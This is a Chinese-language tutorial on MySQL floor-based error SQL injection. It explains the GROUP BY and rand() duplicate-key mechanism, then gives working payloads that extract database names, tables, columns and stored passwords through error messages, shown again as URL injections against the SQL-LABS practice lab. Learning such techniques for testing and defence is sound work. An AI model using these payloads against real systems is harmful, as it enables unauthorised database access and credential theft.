MYSQL floor 报错注入
- floor() 函数,向下取整
- rand() 函数,取随机数,若有参数x,则每个x对应一个固定的值,如果连续多次执行会变化,但是可以预测
- floor( rand( 0 ) * 2 ) 产生的随机序列为011011…
原理
利用数据库表主键不能重复的原理,使用 GROUP BY
分组,产生主键key冗余,导致报错
GROUP BY
原理
已知表users如下
ID | NAME |
---|---|
1 | AA |
2 | AA |
3 | BB |
sql
语句
select count(*) ,name from users group by name;
在进行分组运算的时候会根据name属性,创建一个虚拟表
从上至下扫描,当扫描到第一行NAME === AA 的时候
当前虚拟表没有该字段,那么插入此虚拟表,count = 1
count | name |
---|---|
1 | AA |
当扫描到第二行 NAME === AA 的时候
当前虚拟表存在该字段,那么count + 1
count | name |
---|---|
2 | AA |
当扫描到第三行 NAME === BB 的时候
当前虚拟表不存在该字段,执行插入,count = 1
count | name |
---|---|
2 | AA |
1 | BB |
那么利用floor( rand( 0 ) * 2) 这个函数的返回值,进行分组,因为序列为011011…
那么构建SQL语句
SELECT COUNT(*),floor(RAND(0)*2) as x from users GROUP BY x
查询第一条记录,别名x 产生 键值0
,当键值 0
不存在虚拟表时,执行插入,此时别名x是一个函数,是变量,在执行插入时,按照GROUP BY
分组之时 又要执行floor函数,得到1 ,故向虚拟表中插入键值1,count = 1
COUNT | x |
---|---|
1 | 1 |
查询第二条记录,别名x产生键值1,虚拟表中存在1,则令count + 1 = 2
COUNT | x |
---|---|
2 | 1 |
查询第三条记录,别名x产生键值0,键值0不存在临时表,执行插入,别名x再次执行得键值1,由于1存在于临时表,那么插入之后如下表所示
COUNT | x |
---|---|
2 | 1 |
1 | 1 |
由于数据库主键唯一性,现在临时表中存在两个键值为1,主键冗余,所以报错
由于数据库报错会将报错原因展示出来,故利用报错来实现注入
由上知,要保证floor报错注入,那么必须保证查询的表必须大于三条数据
SQL语句
- 查询数据库
SELECT * FROM users WHERE id = 1 AND (SELECT 1 from
(SELECT count(*),concat(0x23,
database(),
0x23,floor(rand(0)*2)) as x from information_schema.`COLUMNS` GROUP BY x)
as y)
由于 and 后要跟1或者0,所以构造sql
语句select 1
,其中 concat()
函数是用来连接字符串的函数,因为information_schema.'columns’的数据是大于3条,所以会出现报错,报错结果或将别名x的信息展示出来,展示信息为#(数据库名称)#1冗余
- 查询版本
SELECT * FROM users WHERE id = 1 AND (SELECT 1 from
(SELECT count(*),concat(0x23,
version(),
0x23,floor(rand(0)*2)) as x from information_schema.`COLUMNS` GROUP BY x)
as y)
- 查询数据库,表名,列名,字段等敏感信息
concat(0x23,version(),0x23,floor(rand(0)*2))
中,在0x23之间,可以构造sql
语句来实现爆表
在构造sql
语句的时候,查询出来会是一张表结构,但是concat
函数是连接字符串的函数,所以需要使用limit 函数来按需查询,只查询一条事务
- 爆库
SELECT * FROM users WHERE id = 1 AND (SELECT 1 from
(SELECT count(*),concat(0x23,
(SELECT schema_name from information_schema.schemata LIMIT 0,1),
0x23,floor(rand(0)*2)) as x
from information_schema.`COLUMNS` GROUP BY x)
as y)
- 爆表
SELECT * FROM users WHERE id = 1 AND (SELECT 1 from
(SELECT count(*),concat(0x23,
(SELECT table_name from information_schema.`TABLES` WHERE table_schema = database() LIMIT 0,1),
0x23,floor(rand(0)*2)) as x
from information_schema.`COLUMNS` GROUP BY x)
as y)
- 爆列
SELECT * FROM users WHERE id = 1 AND (SELECT 1 from
(SELECT count(*),concat(0x23,(SELECT column_name from information_schema.COLUMNS where table_name = 'users' LIMIT 0,1),
0x23,floor(rand(0)*2)) as x
from information_schema.`COLUMNS` GROUP BY x)
as y)
- 爆字段
SELECT * FROM users WHERE id = 1 AND (SELECT 1 from
(SELECT count(*),concat(0x23,
(SELECT `password` from users LIMIT 0,1),
0x23,floor(rand(0)*2)) as x from information_schema.`COLUMNS` GROUP BY x)
as y)
SQL-LABS演示
- 爆库
http://192.168.1.101/Less-1/?id=1'
AND (SELECT 1 from
(SELECT count(*),concat(0x23,
(SELECT schema_name from information_schema.schemata LIMIT 0,1),
0x23,floor(rand(0)*2)) as x from information_schema.`COLUMNS` GROUP BY x)
as y)--+
- 爆表
http://192.168.1.101/Less-1/?id=1'
AND (SELECT 1 from
(SELECT count(*),concat(0x23,
(SELECT table_name from information_schema.`TABLES` WHERE table_schema = database() LIMIT 0,1),
0x23,floor(rand(0)*2)) as x from information_schema.`COLUMNS` GROUP BY x)
as y)--+
- 爆列
http://192.168.1.101/Less-1/?id=1'
AND (SELECT 1 from
(SELECT count(*),concat(0x23,(SELECT column_name from information_schema.COLUMNS where table_name = 'users' LIMIT 0,1),
0x23,floor(rand(0)*2)) as x from information_schema.`COLUMNS` GROUP BY x)
as y)--+
- 爆字段
http://192.168.1.101/Less-1/?id=1'
AND (SELECT 1 from
(SELECT count(*),concat(0x23,(SELECT `password` from users LIMIT 0,1),
0x23,floor(rand(0)*2)) as x from information_schema.`COLUMNS` GROUP BY x)
as y)--+